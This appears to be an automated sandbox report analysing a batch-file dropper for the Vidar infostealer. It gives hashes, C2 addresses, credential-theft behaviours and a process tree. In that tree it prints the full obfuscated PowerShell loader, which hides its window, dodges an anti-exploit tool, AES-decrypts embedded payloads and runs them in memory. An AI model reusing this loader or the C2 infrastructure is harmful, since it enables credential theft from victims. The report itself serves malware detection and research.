Analysis

  • max time kernel
    83s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-09-2024 19:55

General

  • Target

    JpNzLWAgHFMrAnon.bat

  • Size

    5.3MB

  • MD5

    19b5c87c0b9852349096678f5e282023

  • SHA1

    4cb1080f90f68b65c8ebab9c2e7a8286640b3ac0

  • SHA256

    163edbe86835ef07b9248ee9516b136be05d5b3fd60479bfa81e3375f44eacc9

  • SHA512

    82d4e435057de7e938c7cee8695bc1e258b2352ae885c68f26a679c91793b16c353cc8440e706f4687c49990d3b936788acb253983c671ef09b1bb46bf90a4e4

  • SSDEEP

    49152:Ik2uYNfkQHyggm5Xve+n8gJgxk5kWsqO+Cgs4e5NUZAICDucSsjHaz4Dl0vBKF:B

Malware Config

Extracted

Family

vidar

C2

https://t.me/edm0d

https://steamcommunity.com/profiles/

Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0

Signatures

  • Detect Vidar Stealer 31 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\JpNzLWAgHFMrAnon.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2076
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\JpNzLWAgHFMrAnon.bat';$Fyln='SBaRNpliBaRNtBaRN'.Replace('BaRN', ''),'Invnedaonedakeneda'.Replace('neda', ''),'EboudnboudtboudryboudPboudoboudintboud'.Replace('boud', ''),'MaYSfCinMYSfCoYSfCdulYSfCeYSfC'.Replace('YSfC', ''),'LoadqVJddqVJ'.Replace('dqVJ', ''),'FgXzErgXzEogXzEmBgXzEagXzEsgXzEegXzE64SgXzEtgXzErigXzEnggXzE'.Replace('gXzE', ''),'CBCMXopBCMXyTBCMXoBCMX'.Replace('BCMX', ''),'ESmiJlSmiJeSmiJmenSmiJtAtSmiJ'.Replace('SmiJ', ''),'ChfjJLanfjJLgfjJLeExfjJLtfjJLenfjJLsifjJLonfjJL'.Replace('fjJL', ''),'GeyBtXtCyBtXuryBtXreyBtXntyBtXProyBtXceyBtXssyBtX'.Replace('yBtX', ''),'TrbTqfanbTqfsbTqfforbTqfmbTqfFinbTqfalbTqfBbTqflobTqfckbTqf'.Replace('bTqf', ''),'ReaACqRdACqRLiACqRneACqRsACqR'.Replace('ACqR', ''),'CredSdxadSdxtedSdxDedSdxcrdSdxypdSdxtdSdxordSdx'.Replace('dSdx', ''),'DCrPCeCrPCcomCrPCpreCrPCssCrPC'.Replace('CrPC', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($Fyln[9])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function NItLV($nzWJk){$DdoMy=[System.Security.Cryptography.Aes]::Create();$DdoMy.Mode=[System.Security.Cryptography.CipherMode]::CBC;$DdoMy.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$DdoMy.Key=[System.Convert]::($Fyln[5])('tRyGB5PdbiSqFo/ETUYwPoj7Pv8OlhuGCHsxSSDk/TM=');$DdoMy.IV=[System.Convert]::($Fyln[5])('zT33ctLvNUVazqPY5eMA9w==');$jTksN=$DdoMy.($Fyln[12])();$ttoWi=$jTksN.($Fyln[10])($nzWJk,0,$nzWJk.Length);$jTksN.Dispose();$DdoMy.Dispose();$ttoWi;}function EmQKv($nzWJk){$xudhB=New-Object System.IO.MemoryStream(,$nzWJk);$lXTBg=New-Object System.IO.MemoryStream;$MgRyv=New-Object System.IO.Compression.GZipStream($xudhB,[IO.Compression.CompressionMode]::($Fyln[13]));$MgRyv.($Fyln[6])($lXTBg);$MgRyv.Dispose();$xudhB.Dispose();$lXTBg.Dispose();$lXTBg.ToArray();}$pYQiu=[System.IO.File]::($Fyln[11])([Console]::Title);$mhlnF=EmQKv (NItLV ([Convert]::($Fyln[5])([System.Linq.Enumerable]::($Fyln[7])($pYQiu, 5).Substring(2))));$GMHtR=EmQKv (NItLV ([Convert]::($Fyln[5])([System.Linq.Enumerable]::($Fyln[7])($pYQiu, 6).Substring(2))));[System.Reflection.Assembly]::($Fyln[4])([byte[]]$GMHtR).($Fyln[2]).($Fyln[1])($null,$null);[System.Reflection.Assembly]::($Fyln[4])([byte[]]$mhlnF).($Fyln[2]).($Fyln[1])($null,$null); "
      2⤵
        PID:3756
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        2⤵
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2788
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1516
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          3⤵
          • Checks computer location settings
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3216
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\GDBFCGIIIJDB" & exit
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:5040
            • C:\Windows\SysWOW64\timeout.exe
              timeout /t 10
              5⤵
              • System Location Discovery: System Language Discovery
              • Delays execution with timeout.exe
              PID:4016

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\ProgramData\mozglue.dll

      Filesize

      593KB

      MD5

      c8fd9be83bc728cc04beffafc2907fe9

      SHA1

      95ab9f701e0024cedfbd312bcfe4e726744c4f2e

      SHA256

      ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

      SHA512

      fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

    • C:\ProgramData\nss3.dll

      Filesize

      2.0MB

      MD5

      1cc453cdf74f31e4d913ff9c10acdde2

      SHA1

      6e85eae544d6e965f15fa5c39700fa7202f3aafe

      SHA256

      ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

      SHA512

      dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      1KB

      MD5

      938ffc2cba917b243d86b2cf76dcefb4

      SHA1

      234b53d91d075f16cc63c731eefdae278e2faad3

      SHA256

      5c1eaf13b15f1d5d1ea7f6c3fcbeff0f8b0faf8b9a620ecd26edb49d667f56ca

      SHA512

      e4ec928e5943a47739c862e3fd0c4bd9f1f21942e2416269f5057f5df49ce451d90acea39ee5319a0828ca1d944c2eda3eb8e7ab19984c7b8624a58f2111c314

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

      Filesize

      20KB

      MD5

      6b48e95e24f8601a65a116f009598151

      SHA1

      500a533e89b930f9f1db5509c79871b62f5a284e

      SHA256

      be95b1f4e3d0844c8345943906b1be67b61d2a77ebc51922b5e12febdc219e1d

      SHA512

      48b660ec7ba542782a84ac94b4aba409792a8be0b59fc17d114de1b78e5416ae2b2bf115b4294338436106552a780c2c8455beed96e1d2d0b953936267dacbcd

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4pkorqf4.mrv.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1516-24-0x0000000074A90000-0x0000000075240000-memory.dmp

      Filesize

      7.7MB

    • memory/1516-38-0x0000000074A90000-0x0000000075240000-memory.dmp

      Filesize

      7.7MB

    • memory/1516-35-0x0000000074A90000-0x0000000075240000-memory.dmp

      Filesize

      7.7MB

    • memory/1516-25-0x0000000074A90000-0x0000000075240000-memory.dmp

      Filesize

      7.7MB

    • memory/2788-58-0x0000000074A90000-0x0000000075240000-memory.dmp

      Filesize

      7.7MB

    • memory/2788-0-0x0000000074A9E000-0x0000000074A9F000-memory.dmp

      Filesize

      4KB

    • memory/2788-19-0x00000000064D0000-0x000000000651C000-memory.dmp

      Filesize

      304KB

    • memory/2788-20-0x00000000069E0000-0x0000000006A24000-memory.dmp

      Filesize

      272KB

    • memory/2788-21-0x00000000077A0000-0x0000000007816000-memory.dmp

      Filesize

      472KB

    • memory/2788-22-0x0000000007EA0000-0x000000000851A000-memory.dmp

      Filesize

      6.5MB

    • memory/2788-23-0x0000000007820000-0x000000000783A000-memory.dmp

      Filesize

      104KB

    • memory/2788-13-0x0000000005F90000-0x00000000062E4000-memory.dmp

      Filesize

      3.3MB

    • memory/2788-6-0x0000000005D80000-0x0000000005DE6000-memory.dmp

      Filesize

      408KB

    • memory/2788-7-0x0000000005E60000-0x0000000005EC6000-memory.dmp

      Filesize

      408KB

    • memory/2788-5-0x0000000005690000-0x00000000056B2000-memory.dmp

      Filesize

      136KB

    • memory/2788-39-0x0000000074A90000-0x0000000075240000-memory.dmp

      Filesize

      7.7MB

    • memory/2788-40-0x0000000001210000-0x000000000121A000-memory.dmp

      Filesize

      40KB

    • memory/2788-41-0x0000000074A9E000-0x0000000074A9F000-memory.dmp

      Filesize

      4KB

    • memory/2788-43-0x0000000074A90000-0x0000000075240000-memory.dmp

      Filesize

      7.7MB

    • memory/2788-44-0x0000000013520000-0x0000000013920000-memory.dmp

      Filesize

      4.0MB

    • memory/2788-45-0x0000000016920000-0x0000000016E2E000-memory.dmp

      Filesize

      5.1MB

    • memory/2788-46-0x0000000005310000-0x000000000531A000-memory.dmp

      Filesize

      40KB

    • memory/2788-1-0x0000000002C80000-0x0000000002CB6000-memory.dmp

      Filesize

      216KB

    • memory/2788-4-0x0000000074A90000-0x0000000075240000-memory.dmp

      Filesize

      7.7MB

    • memory/2788-57-0x0000000072225000-0x0000000072226000-memory.dmp

      Filesize

      4KB

    • memory/2788-2-0x0000000074A90000-0x0000000075240000-memory.dmp

      Filesize

      7.7MB

    • memory/2788-18-0x0000000006480000-0x000000000649E000-memory.dmp

      Filesize

      120KB

    • memory/2788-3-0x0000000005750000-0x0000000005D78000-memory.dmp

      Filesize

      6.2MB

    • memory/3216-73-0x00000000222C0000-0x000000002251F000-memory.dmp

      Filesize

      2.4MB

    • memory/3216-145-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-71-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-50-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-86-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-87-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-103-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-104-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-111-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-56-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-47-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-129-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-130-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-140-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-141-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-70-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-150-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-146-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-151-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-155-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-160-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-161-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-166-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-167-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-172-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-168-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-173-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-177-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-178-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-179-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-180-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/3216-187-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB